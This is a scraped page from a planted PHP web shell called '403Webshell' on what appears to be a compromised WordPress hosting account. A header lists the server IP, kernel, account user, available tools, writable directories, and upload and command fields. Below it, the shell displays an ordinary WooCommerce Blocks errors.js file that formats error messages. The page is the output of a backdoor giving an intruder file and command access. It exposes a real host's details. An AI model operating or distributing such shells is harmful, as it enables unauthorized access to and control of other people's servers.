403Webshell
Server IP : 172.67.158.161  /  Your IP : 3.144.95.36
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/home/giankuin/thietke365.net/wp-content/plugins/woocommerce/packages/woocommerce-blocks/assets/js/base/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/home/giankuin/thietke365.net/wp-content/plugins/woocommerce/packages/woocommerce-blocks/assets/js/base/utils/errors.js
/**
 * Given a JS error or a fetch response error, parse and format it, so it can be displayed to the user.
 *
 * @param {Object}   error           Error object.
 * @param {Function} [error.json]    If a json method is specified, it will try parsing the error first.
 * @param {string}   [error.message] If a message is specified, it will be shown to the user.
 * @param {string}   [error.type]    The context in which the error was triggered.
 * @return {Promise<{message:string;type:string;}>}   Error object containing a message and type.
 */
export const formatError = async ( error ) => {
	if ( typeof error.json === 'function' ) {
		try {
			const parsedError = await error.json();
			return {
				message: parsedError.message,
				type: parsedError.type || 'api',
			};
		} catch ( e ) {
			return {
				message: e.message,
				type: 'general',
			};
		}
	}

	return {
		message: error.message,
		type: error.type || 'general',
	};
};

Youez - 2016 - github.com/yon3zu
LinuXploit